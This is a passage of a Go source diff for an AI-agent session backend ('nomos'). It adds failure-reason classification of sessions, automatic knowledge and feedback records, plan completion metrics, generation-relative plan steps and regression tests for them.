// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all
|
||||||
|
// bounced off the classifier; without a blocker field, the *why* was
|
||||||
|
// buried in the last assistant message. The signatures matched here
|
||||||
|
// are the recurring ones from the 2026-07-20 session audit. Empty for
|
||||||
|
// success — that's not a blocker.
|
||||||
|
blocker := ""
|
||||||
|
if outcome != "success" {
|
||||||
|
blocker = deriveBlocker(ctx, s, sessionID, summary)
|
||||||
|
}
|
||||||
if _, err := s.pool.Exec(ctx, `
|
if _, err := s.pool.Exec(ctx, `
|
||||||
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, last_active_at = now()
|
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4,
|
||||||
WHERE id = $1`, sessionID, status, outcome, summary); err != nil {
|
blocker = $5, closed_at = now(), last_active_at = now()
|
||||||
|
WHERE id = $1`, sessionID, status, outcome, summary, blocker); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
var entID uuid.UUID
|
var entID uuid.UUID
|
||||||
@@ -837,10 +1242,190 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
|||||||
}
|
}
|
||||||
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
|
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
|
||||||
map[string]any{"status": status, "outcome": outcome, "summary": summary,
|
map[string]any{"status": status, "outcome": outcome, "summary": summary,
|
||||||
"cancelled_executions": cancelledCount})
|
"cancelled_executions": cancelledCount, "blocker": blocker})
|
||||||
|
// Auto-persist knowledge so the graph learns from this session regardless
|
||||||
|
// of whether the agent remembered to call upsert_knowledge (2026-08-04
|
||||||
|
// session audit: only 2.4% of sessions called upsert_knowledge manually).
|
||||||
|
if outcome == "success" || outcome == "partial" {
|
||||||
|
autoUpsertKnowledge(ctx, s, sessionID, outcome, summary)
|
||||||
|
}
|
||||||
|
// Plan quality metric: compute step completion rate for the session's
|
||||||
|
// current plan generation. Tracked as a task attribute so the trend
|
||||||
|
// can be monitored over time (2026-08-04 session audit: 38% baseline).
|
||||||
|
writePlanCompletionRate(ctx, s, sessionID)
|
||||||
|
// Auto-feedback: create a feedback entry linking the session's outcome
|
||||||
|
// to its last execution, feeding the pattern-extraction pipeline that
|
||||||
|
// has been empty since launch (2026-08-04 session audit: 0 feedback rows).
|
||||||
|
if outcome == "success" || outcome == "partial" {
|
||||||
|
autoFeedback(ctx, s, sessionID, outcome, summary)
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// autoUpsertKnowledge creates a knowledge entry for a completed session,
|
||||||
|
// capturing what was done and linking it to the entities involved. Called
|
||||||
|
// automatically from completeTask so every session leaves a trace, even if
|
||||||
|
// the agent forgot to call upsert_knowledge. Only fired for success/partial
|
||||||
|
// outcomes (failures don't have actionable discoveries).
|
||||||
|
func autoUpsertKnowledge(ctx context.Context, s *store, sessionID, outcome, summary string) {
|
||||||
|
var goal string
|
||||||
|
if err := s.pool.QueryRow(ctx,
|
||||||
|
`SELECT COALESCE(goal, '') FROM agent_sessions WHERE id = $1`,
|
||||||
|
sessionID).Scan(&goal); err != nil || goal == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
title := "Session " + sessionID[:8] + ": " + goal
|
||||||
|
if len(title) > 200 {
|
||||||
|
title = title[:200]
|
||||||
|
}
|
||||||
|
content := "## Outcome\n" + outcome + "\n\n## Summary\n" + summary
|
||||||
|
kind := "investigation"
|
||||||
|
slug := "investigation:nomos/" + sessionID
|
||||||
|
tags := []string{"nomos-session", "auto-generated"}
|
||||||
|
|
||||||
|
// Upsert the knowledge entity.
|
||||||
|
docID, _ := uuid.NewV7()
|
||||||
|
if err := s.pool.QueryRow(ctx, `
|
||||||
|
INSERT INTO entities (id, slug, type, name, attributes)
|
||||||
|
VALUES ($1, $2, $3, $4, '{}')
|
||||||
|
ON CONFLICT (slug) DO UPDATE SET name = EXCLUDED.name, updated_at = now()
|
||||||
|
RETURNING id`, docID, slug, kind, title).Scan(&docID); err != nil {
|
||||||
|
slog.Warn("nomos: autoUpsertKnowledge entity insert", "session", sessionID, "error", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Upsert the knowledge content.
|
||||||
|
if _, err := s.pool.Exec(ctx, `
|
||||||
|
INSERT INTO knowledge_entities (entity_id, title, content, source, tags, updated_at)
|
||||||
|
VALUES ($1, $2, $3, 'nomos-agent', $4, now())
|
||||||
|
ON CONFLICT (entity_id) DO UPDATE
|
||||||
|
SET title = EXCLUDED.title, content = EXCLUDED.content,
|
||||||
|
tags = EXCLUDED.tags, updated_at = now()`,
|
||||||
|
docID, title, content, tags); err != nil {
|
||||||
|
slog.Warn("nomos: autoUpsertKnowledge content insert", "session", sessionID, "error", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Link to the task entity.
|
||||||
|
var taskEntID uuid.UUID
|
||||||
|
if s.pool.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`,
|
||||||
|
sessionID).Scan(&taskEntID) == nil && taskEntID != uuid.Nil {
|
||||||
|
s.pool.Exec(ctx, `
|
||||||
|
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||||
|
SELECT $1, $2, 'involves', '{"by":"nomos","auto":true}'::jsonb, now()
|
||||||
|
WHERE NOT EXISTS (
|
||||||
|
SELECT 1 FROM relationships
|
||||||
|
WHERE source_id = $1 AND target_id = $2 AND type = 'involves' AND valid_to IS NULL)`,
|
||||||
|
taskEntID, docID)
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("nomos: auto-upserted knowledge for session",
|
||||||
|
"session", sessionID, "outcome", outcome, "slug", slug)
|
||||||
|
}
|
||||||
|
|
||||||
|
// writePlanCompletionRate computes the step completion rate for the current
|
||||||
|
// plan generation and writes it as a task entity attribute so the trend can
|
||||||
|
// be tracked. Baseline from 2026-08-04 audit: 38% (15/39 steps reached done).
|
||||||
|
func writePlanCompletionRate(ctx context.Context, s *store, sessionID string) {
|
||||||
|
var total, completed int
|
||||||
|
s.pool.QueryRow(ctx, `
|
||||||
|
SELECT COUNT(*), COALESCE(SUM(CASE WHEN status = 'done' THEN 1 ELSE 0 END), 0)
|
||||||
|
FROM session_plan_steps
|
||||||
|
WHERE session_id = $1
|
||||||
|
AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)
|
||||||
|
AND status <> 'replaced'`, sessionID).Scan(&total, &completed)
|
||||||
|
if total > 0 {
|
||||||
|
rate := float64(completed) / float64(total)
|
||||||
|
attrs, _ := json.Marshal(map[string]any{"plan_completion_rate": rate, "plan_steps_total": total, "plan_steps_completed": completed})
|
||||||
|
s.pool.Exec(ctx, `
|
||||||
|
UPDATE entities SET attributes = attributes || $2::jsonb, updated_at = now()
|
||||||
|
WHERE id = (SELECT entity_id FROM agent_sessions WHERE id = $1)`,
|
||||||
|
sessionID, string(attrs))
|
||||||
|
slog.Info("nomos: plan completion rate", "session", sessionID, "rate", fmt.Sprintf("%.0f%%", rate*100),
|
||||||
|
"completed", completed, "total", total)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// autoFeedback creates a feedback entry linking the session's outcome to its
|
||||||
|
// last execution, feeding the pattern-extraction pipeline that has been empty
|
||||||
|
// since launch. Only created for success/partial outcomes (failures don't
|
||||||
|
// have a specific execution to tie to).
|
||||||
|
func autoFeedback(ctx context.Context, s *store, sessionID, outcome, summary string) {
|
||||||
|
// Find the last execution linked to this session.
|
||||||
|
var execID uuid.UUID
|
||||||
|
if err := s.pool.QueryRow(ctx, `
|
||||||
|
SELECT pe.execution_id FROM nomos_plan_executions pe
|
||||||
|
WHERE pe.session_id = $1::uuid
|
||||||
|
ORDER BY pe.created_at DESC LIMIT 1`, sessionID).Scan(&execID); err != nil || execID == uuid.Nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fbID, _ := uuid.NewV7()
|
||||||
|
slug := "feedback:" + fbID.String()
|
||||||
|
if _, err := s.pool.Exec(ctx, `
|
||||||
|
INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'feedback', $3, '{}')`,
|
||||||
|
fbID, slug, "feedback for "+sessionID[:8]); err != nil {
|
||||||
|
slog.Warn("nomos: autoFeedback entity insert", "session", sessionID, "error", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, err := s.pool.Exec(ctx, `
|
||||||
|
INSERT INTO feedback (entity_id, execution_id, outcome, observation, lesson, tags, created_at)
|
||||||
|
VALUES ($1, $2, $3, $4, $5, $6, now())`,
|
||||||
|
fbID, execID, outcome, summary, summary, []string{"nomos-session", "auto-generated", "session:" + sessionID[:8]})
|
||||||
|
if err != nil {
|
||||||
|
slog.Warn("nomos: autoFeedback insert", "session", sessionID, "error", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
slog.Info("nomos: auto-feedback created for session", "session", sessionID, "outcome", outcome)
|
||||||
|
}
|
||||||
|
|
||||||
|
// blockerPatterns maps a substring (case-insensitive) to a structured blocker
|
||||||
|
// reason. Order matters — earlier patterns take precedence. These are the
|
||||||
|
// recurring failure signatures from the 2026-07-20 session audit. A
|
||||||
|
// real-world blocker that doesn't match any of these falls through to
|
||||||
|
// "uncategorized" — better than empty, because empty means "we don't know
|
||||||
|
// it's a blocker at all." See plans/2026-07-20-session-review-ten-sessions.md.
|
||||||
|
var blockerPatterns = []struct {
|
||||||
|
pattern string
|
||||||
|
reason string
|
||||||
|
}{
|
||||||
|
{"queued for approval", "approval_timeout"},
|
||||||
|
{"assent window", "approval_timeout"},
|
||||||
|
{"cancel", "user_abandoned"},
|
||||||
|
{"close this session", "user_abandoned"},
|
||||||
|
{"lets just close", "user_abandoned"},
|
||||||
|
{"classifier flagged", "classifier_overreach"},
|
||||||
|
{"config_mutation", "classifier_overreach"},
|
||||||
|
{"refus", "model_refusal"}, // refuses/refused/refusal
|
||||||
|
{"empty response", "model_empty_response"},
|
||||||
|
{"no local knowledge", "missing_knowledge"},
|
||||||
|
{"can't run", "missing_capability"},
|
||||||
|
{"cannot run", "missing_capability"},
|
||||||
|
{"timeout", "tool_error"},
|
||||||
|
{"error", "tool_error"},
|
||||||
|
}
|
||||||
|
|
||||||
|
// deriveBlocker scans the last assistant message + the summary for known
|
||||||
|
// failure signatures and returns the matching structured reason. Returns
|
||||||
|
// "uncategorized" when outcome is partial/failed but no signature matched —
|
||||||
|
// better than "" because the audit needs to know this WAS blocked, just for
|
||||||
|
// an unknown reason. Returns "" for success outcomes (caller checks first).
|
||||||
|
func deriveBlocker(ctx context.Context, s *store, sessionID, summary string) string {
|
||||||
|
// Pull the last assistant text — that's where the agent's parting
|
||||||
|
// words explain why it didn't finish.
|
||||||
|
var lastText string
|
||||||
|
_ = s.pool.QueryRow(ctx, `
|
||||||
|
SELECT content::text FROM agent_messages
|
||||||
|
WHERE session_id = $1 AND role = 'assistant'
|
||||||
|
ORDER BY created_at DESC LIMIT 1`, sessionID).Scan(&lastText)
|
||||||
|
haystack := strings.ToLower(lastText + " " + summary)
|
||||||
|
for _, p := range blockerPatterns {
|
||||||
|
if strings.Contains(haystack, p.pattern) {
|
||||||
|
return p.reason
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "uncategorized"
|
||||||
|
}
|
||||||
|
|
||||||
// hadEntityWriteback checks whether this session called update_entity_attributes
|
// hadEntityWriteback checks whether this session called update_entity_attributes
|
||||||
// or create_relationship — used by complete_task to warn the agent when it
|
// or create_relationship — used by complete_task to warn the agent when it
|
||||||
// forgot to persist entity facts (the #1 cause of knowledge graph drift).
|
// forgot to persist entity facts (the #1 cause of knowledge graph drift).
|
||||||
@@ -882,6 +1467,53 @@ func (s *store) hadDiscovery(ctx context.Context, sessionID string) bool {
|
|||||||
return count > 0
|
return count > 0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// sessionGoal returns the session's goal text, empty string if not found.
|
||||||
|
// Used by complete_task to check whether the goal involved a reachability
|
||||||
|
// verification before marking success.
|
||||||
|
func (s *store) sessionGoal(ctx context.Context, sessionID string) string {
|
||||||
|
if s == nil || sessionID == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
var goal string
|
||||||
|
s.pool.QueryRow(ctx,
|
||||||
|
`SELECT COALESCE(goal, '') FROM agent_sessions WHERE id = $1`,
|
||||||
|
sessionID).Scan(&goal)
|
||||||
|
return goal
|
||||||
|
}
|
||||||
|
|
||||||
|
// hadRecentVerification checks whether the session successfully verified
|
||||||
|
// reachability in recent turns — ping_service, or a run with curl/wget that
|
||||||
|
// returned successfully. Used by complete_task as a soft warning when the
|
||||||
|
// goal involved a reachability check but no recent verification occurred.
|
||||||
|
func (s *store) hadRecentVerification(ctx context.Context, sessionID string) bool {
|
||||||
|
if s == nil || sessionID == "" {
|
||||||
|
return true // fail safe: don't warn when we can't check
|
||||||
|
}
|
||||||
|
// Check for ping_service calls in the last 5 activity entries for this session.
|
||||||
|
var pingCount int
|
||||||
|
s.pool.QueryRow(ctx, `
|
||||||
|
SELECT COUNT(*) FROM (
|
||||||
|
SELECT 1 FROM agent_activity
|
||||||
|
WHERE session_id = $1 AND tool_name = 'ping_service' AND success = true
|
||||||
|
ORDER BY ts DESC LIMIT 5
|
||||||
|
) sub`, sessionID).Scan(&pingCount)
|
||||||
|
if pingCount > 0 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// Check for run calls with curl/wget that returned successfully.
|
||||||
|
var curlCount int
|
||||||
|
s.pool.QueryRow(ctx, `
|
||||||
|
SELECT COUNT(*) FROM (
|
||||||
|
SELECT 1 FROM agent_activity
|
||||||
|
WHERE session_id = $1
|
||||||
|
AND tool_name = 'run'
|
||||||
|
AND success = true
|
||||||
|
AND (input_summary LIKE '%curl%' OR input_summary LIKE '%wget%')
|
||||||
|
ORDER BY ts DESC LIMIT 10
|
||||||
|
) sub`, sessionID).Scan(&curlCount)
|
||||||
|
return curlCount > 0
|
||||||
|
}
|
||||||
|
|
||||||
// staleGoalSession is a goal-bearing task that's gone idle without reaching
|
// staleGoalSession is a goal-bearing task that's gone idle without reaching
|
||||||
// a terminal state — the idle-sweep worker's work list (fix 2+3 of
|
// a terminal state — the idle-sweep worker's work list (fix 2+3 of
|
||||||
// plans/2026-07-11-task-completion-safety-net.md).
|
// plans/2026-07-11-task-completion-safety-net.md).
|
||||||
@@ -989,15 +1621,23 @@ type planStep struct {
|
|||||||
|
|
||||||
// getPlanSteps returns a task's plan in order — REST hydration for the context
|
// getPlanSteps returns a task's plan in order — REST hydration for the context
|
||||||
// panel when it first opens a task (live events only carry deltas from then on).
|
// panel when it first opens a task (live events only carry deltas from then on).
|
||||||
func (s *store) getPlanSteps(ctx context.Context, sessionID string) ([]planStep, error) {
|
// By default only the CURRENT (MAX) generation is returned — the panel shows the
|
||||||
|
// live plan, not an archaeological record of every superseded generation. Pass
|
||||||
|
// all=true for the audit/eval view that needs every generation (the
|
||||||
|
// plan_generations assertion counts distinct generations across the full set).
|
||||||
|
func (s *store) getPlanSteps(ctx context.Context, sessionID string, all bool) ([]planStep, error) {
|
||||||
if s == nil {
|
if s == nil {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
genFilter := ""
|
||||||
|
if !all {
|
||||||
|
genFilter = "AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)"
|
||||||
|
}
|
||||||
rows, err := s.pool.Query(ctx, `
|
rows, err := s.pool.Query(ctx, `
|
||||||
SELECT id::text, seq, title, detail, status,
|
SELECT id::text, seq, title, detail, status,
|
||||||
execution_id::text, target_slug,
|
execution_id::text, target_slug,
|
||||||
started_at::text, finished_at::text, generation
|
started_at::text, finished_at::text, generation
|
||||||
FROM session_plan_steps WHERE session_id = $1 ORDER BY seq`, sessionID)
|
FROM session_plan_steps WHERE session_id = $1 `+genFilter+` ORDER BY generation, seq`, sessionID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -1477,7 +2117,7 @@ func (s *store) resolveArgEntityID(ctx context.Context, args map[string]any) uui
|
|||||||
// The (nullable) session_id column carries the conversation id. args is the
|
// The (nullable) session_id column carries the conversation id. args is the
|
||||||
// tool call's own arguments, used to best-effort tag the row with the
|
// tool call's own arguments, used to best-effort tag the row with the
|
||||||
// entity it acted on (see resolveArgEntityID).
|
// entity it acted on (see resolveArgEntityID).
|
||||||
func (s *store) logActivity(ctx context.Context, agentID uuid.UUID, sessionID, toolName string, args map[string]any, inputSummary, outputSummary string, durationMs int, success bool, correlationID string) {
|
func (s *store) logActivity(ctx context.Context, agentID uuid.UUID, sessionID, toolName string, args map[string]any, inputSummary, outputSummary string, durationMs int, success bool, correlationID string, tokenCount int) {
|
||||||
if s == nil || agentID == uuid.Nil {
|
if s == nil || agentID == uuid.Nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -1489,8 +2129,8 @@ func (s *store) logActivity(ctx context.Context, agentID uuid.UUID, sessionID, t
|
|||||||
s.pool.Exec(ctx, `
|
s.pool.Exec(ctx, `
|
||||||
INSERT INTO agent_activity
|
INSERT INTO agent_activity
|
||||||
(agent_id, session_id, activity_type, tool_name, entity_id, input_summary, output_summary,
|
(agent_id, session_id, activity_type, tool_name, entity_id, input_summary, output_summary,
|
||||||
duration_ms, success, correlation_id)
|
duration_ms, success, correlation_id, token_count)
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)`,
|
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)`,
|
||||||
agentID, sessionID, "tool_call", toolName, entityIDArg, inputSummary, outputSummary,
|
agentID, sessionID, "tool_call", toolName, entityIDArg, inputSummary, outputSummary,
|
||||||
durationMs, success, correlationID)
|
durationMs, success, correlationID, tokenCount)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -192,7 +192,7 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Mark step 1 as started.
|
// Mark step 1 as started.
|
||||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", ""); err != nil {
|
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", "", ""); err != nil {
|
||||||
t.Fatalf("updatePlanStep: %v", err)
|
t.Fatalf("updatePlanStep: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -205,7 +205,7 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// The original step 1 must be untouched — not erased, not appended to.
|
// The original step 1 must be untouched — not erased, not appended to.
|
||||||
steps, err := s.getPlanSteps(ctx, sess.ID)
|
steps, err := s.getPlanSteps(ctx, sess.ID, false)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("getPlanSteps: %v", err)
|
t.Fatalf("getPlanSteps: %v", err)
|
||||||
}
|
}
|
||||||
@@ -217,7 +217,8 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Third call BEFORE anything runs on a fresh session: every step is
|
// Third call BEFORE anything runs on a fresh session: every step is
|
||||||
// still pending, so this must REPLACE, not refuse.
|
// still pending, so this must REPLACE (mark the prior plan `replaced`),
|
||||||
|
// not refuse. The new plan becomes generation 2.
|
||||||
sess2, err := s.createSession(ctx, "plan replace test")
|
sess2, err := s.createSession(ctx, "plan replace test")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("createSession: %v", err)
|
t.Fatalf("createSession: %v", err)
|
||||||
@@ -228,15 +229,146 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
|||||||
if _, err := s.proposePlan(ctx, sess2.ID, []planStepInput{{Title: "Revised"}}); err != nil {
|
if _, err := s.proposePlan(ctx, sess2.ID, []planStepInput{{Title: "Revised"}}); err != nil {
|
||||||
t.Fatalf("proposePlan (revise before execution): %v", err)
|
t.Fatalf("proposePlan (revise before execution): %v", err)
|
||||||
}
|
}
|
||||||
revisedSteps, err := s.getPlanSteps(ctx, sess2.ID)
|
// Default (current generation) view: only the revised step.
|
||||||
|
revisedSteps, err := s.getPlanSteps(ctx, sess2.ID, false)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("getPlanSteps: %v", err)
|
t.Fatalf("getPlanSteps: %v", err)
|
||||||
}
|
}
|
||||||
if len(revisedSteps) != 1 || revisedSteps[0].Title != "Revised" {
|
if len(revisedSteps) != 1 || revisedSteps[0].Title != "Revised" {
|
||||||
t.Fatalf("got %+v, want a single 'Revised' step (pre-execution revise must replace, not refuse)", revisedSteps)
|
t.Fatalf("got %+v, want a single 'Revised' step (current-generation view)", revisedSteps)
|
||||||
}
|
}
|
||||||
if revisedSteps[0].Generation != 1 {
|
if revisedSteps[0].Seq != 1 {
|
||||||
t.Fatalf("revised step generation = %d, want 1 (fresh-start after DELETE resets generation)", revisedSteps[0].Generation)
|
t.Fatalf("revised step seq = %d, want 1 (seq is generation-relative, resets to 1..N)", revisedSteps[0].Seq)
|
||||||
|
}
|
||||||
|
if revisedSteps[0].Generation != 2 {
|
||||||
|
t.Fatalf("revised step generation = %d, want 2 (prior pending plan is replaced, not deleted, so the counter increments)", revisedSteps[0].Generation)
|
||||||
|
}
|
||||||
|
// all=true audit view: both generations, the original marked `replaced`.
|
||||||
|
allSteps, err := s.getPlanSteps(ctx, sess2.ID, true)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("getPlanSteps(all): %v", err)
|
||||||
|
}
|
||||||
|
if len(allSteps) != 2 {
|
||||||
|
t.Fatalf("all=true got %d steps, want 2 (Original replaced gen1 + Revised gen2)", len(allSteps))
|
||||||
|
}
|
||||||
|
if allSteps[0].Title != "Original" || allSteps[0].Status != "replaced" || allSteps[0].Generation != 1 {
|
||||||
|
t.Errorf("gen1 step = %+v, want Original/replaced/gen1", allSteps[0])
|
||||||
|
}
|
||||||
|
if allSteps[1].Title != "Revised" || allSteps[1].Generation != 2 || allSteps[1].Seq != 1 {
|
||||||
|
t.Errorf("gen2 step = %+v, want Revised/gen2/seq1", allSteps[1])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestUpdatePlanStep_GenerationRelative is the P0.1 regression proof: after a
|
||||||
|
// re-plan, update_plan_step(seq=N) — using the 1-based number the model
|
||||||
|
// naturally carries — must address the CURRENT generation and never resurrect
|
||||||
|
// a superseded generation's `replaced` row. Before the fix, seq was globally
|
||||||
|
// increasing across generations, so seq=1 after a re-plan flipped the gen-1
|
||||||
|
// `replaced` step back to `running`/`done` while the real gen-2 work went
|
||||||
|
// unrecorded.
|
||||||
|
func TestUpdatePlanStep_GenerationRelative(t *testing.T) {
|
||||||
|
s := newTestStore(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
sess, err := s.createSession(ctx, "gen-relative seq test")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("createSession: %v", err)
|
||||||
|
}
|
||||||
|
// Generation 1: two steps.
|
||||||
|
if _, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "A"}, {Title: "B"}}); err != nil {
|
||||||
|
t.Fatalf("proposePlan #1: %v", err)
|
||||||
|
}
|
||||||
|
// Re-plan: setGoal marks the gen-1 plan `replaced`, proposePlan starts gen 2.
|
||||||
|
if err := s.setGoal(ctx, sess.ID, "follow-up sub-task"); err != nil {
|
||||||
|
t.Fatalf("setGoal: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "C"}, {Title: "D"}}); err != nil {
|
||||||
|
t.Fatalf("proposePlan #2: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The model addresses the new plan with 1-based seq. seq=1 must hit
|
||||||
|
// gen-2 "C", leaving gen-1 "A" (replaced) untouched.
|
||||||
|
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", "", ""); err != nil {
|
||||||
|
t.Fatalf("updatePlanStep(seq=1, running): %v", err)
|
||||||
|
}
|
||||||
|
if err := s.updatePlanStep(ctx, sess.ID, 1, "done", "", ""); err != nil {
|
||||||
|
t.Fatalf("updatePlanStep(seq=1, done): %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
all, err := s.getPlanSteps(ctx, sess.ID, true)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("getPlanSteps(all): %v", err)
|
||||||
|
}
|
||||||
|
byTitle := map[string]planStep{}
|
||||||
|
for _, st := range all {
|
||||||
|
byTitle[st.Title] = st
|
||||||
|
}
|
||||||
|
// gen-1 steps stay `replaced` — NOT resurrected to running/done.
|
||||||
|
if byTitle["A"].Status != "replaced" || byTitle["A"].Generation != 1 {
|
||||||
|
t.Errorf("A = %+v, want replaced/gen1 (a superseded row must never be touched)", byTitle["A"])
|
||||||
|
}
|
||||||
|
if byTitle["B"].Status != "replaced" || byTitle["B"].Generation != 1 {
|
||||||
|
t.Errorf("B = %+v, want replaced/gen1", byTitle["B"])
|
||||||
|
}
|
||||||
|
// gen-2 seq=1 advanced; seq=2 untouched.
|
||||||
|
if byTitle["C"].Status != "done" || byTitle["C"].Generation != 2 || byTitle["C"].Seq != 1 {
|
||||||
|
t.Errorf("C = %+v, want done/gen2/seq1 (the 1-based update must address the current generation)", byTitle["C"])
|
||||||
|
}
|
||||||
|
if byTitle["D"].Status != "pending" || byTitle["D"].Seq != 2 {
|
||||||
|
t.Errorf("D = %+v, want pending/seq2", byTitle["D"])
|
||||||
|
}
|
||||||
|
|
||||||
|
// Out-of-range seq must be refused (no current-gen step there).
|
||||||
|
if err := s.updatePlanStep(ctx, sess.ID, 99, "running", "", ""); !errors.Is(err, errPlanStepNotFound) {
|
||||||
|
t.Fatalf("updatePlanStep(seq=99) err = %v, want errPlanStepNotFound", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestCompleteTask_AutoCloseEmitsEvents is the P1.1 regression proof:
|
||||||
|
// completeTask's bulk auto-close of in-flight steps must emit one
|
||||||
|
// plan.step.finished event per closed step (so the live panel converges
|
||||||
|
// instead of freezing on "running" after the task completes) and must stamp
|
||||||
|
// started_at so no closed step is left un-timestamped (P0.1 fix 5).
|
||||||
|
func TestCompleteTask_AutoCloseEmitsEvents(t *testing.T) {
|
||||||
|
s := newTestStore(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
sess, err := s.createSession(ctx, "auto-close events test")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("createSession: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "A"}, {Title: "B"}}); err != nil {
|
||||||
|
t.Fatalf("proposePlan: %v", err)
|
||||||
|
}
|
||||||
|
// A is running, B still pending at completion time.
|
||||||
|
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", "", ""); err != nil {
|
||||||
|
t.Fatalf("updatePlanStep(1, running): %v", err)
|
||||||
|
}
|
||||||
|
if err := s.completeTask(ctx, sess.ID, "success", "done"); err != nil {
|
||||||
|
t.Fatalf("completeTask: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Every auto-closed step should now carry both a started_at and a
|
||||||
|
// finished_at (no NULL-started `done` step).
|
||||||
|
steps, err := s.getPlanSteps(ctx, sess.ID, true)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("getPlanSteps: %v", err)
|
||||||
|
}
|
||||||
|
for _, st := range steps {
|
||||||
|
if st.Status == "done" && st.StartedAt == nil {
|
||||||
|
t.Errorf("step %q done but started_at is NULL (P0.1 fix 5: stamp it)", st.Title)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Exactly two plan.step.finished events — one per closed step (A and B).
|
||||||
|
var finished int
|
||||||
|
if err := s.pool.QueryRow(ctx,
|
||||||
|
`SELECT COUNT(*) FROM events WHERE type = 'plan.step.finished' AND correlation_id = $1`,
|
||||||
|
sess.ID).Scan(&finished); err != nil {
|
||||||
|
t.Fatalf("count events: %v", err)
|
||||||
|
}
|
||||||
|
if finished != 2 {
|
||||||
|
t.Fatalf("plan.step.finished events = %d, want 2 (one per auto-closed step)", finished)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -265,7 +397,7 @@ func TestHadDiscoveryAndWriteback(t *testing.T) {
|
|||||||
|
|
||||||
// A `run` call (discovery) — should set hadDiscovery, not hadEntityWriteback.
|
// A `run` call (discovery) — should set hadDiscovery, not hadEntityWriteback.
|
||||||
agentID := uuid.New()
|
agentID := uuid.New()
|
||||||
s.logActivity(ctx, agentID, sess.ID, "run", nil, "", "uptime output", 100, true, "corr-1")
|
s.logActivity(ctx, agentID, sess.ID, "run", nil, "", "uptime output", 100, true, "corr-1", 0)
|
||||||
if !s.hadDiscovery(ctx, sess.ID) {
|
if !s.hadDiscovery(ctx, sess.ID) {
|
||||||
t.Fatal("hadDiscovery = false after a successful run call, want true")
|
t.Fatal("hadDiscovery = false after a successful run call, want true")
|
||||||
}
|
}
|
||||||
@@ -278,7 +410,7 @@ func TestHadDiscoveryAndWriteback(t *testing.T) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("createSession: %v", err)
|
t.Fatalf("createSession: %v", err)
|
||||||
}
|
}
|
||||||
s.logActivity(ctx, agentID, sess2.ID, "run", nil, "", "ssh timeout", 100, false, "corr-2")
|
s.logActivity(ctx, agentID, sess2.ID, "run", nil, "", "ssh timeout", 100, false, "corr-2", 0)
|
||||||
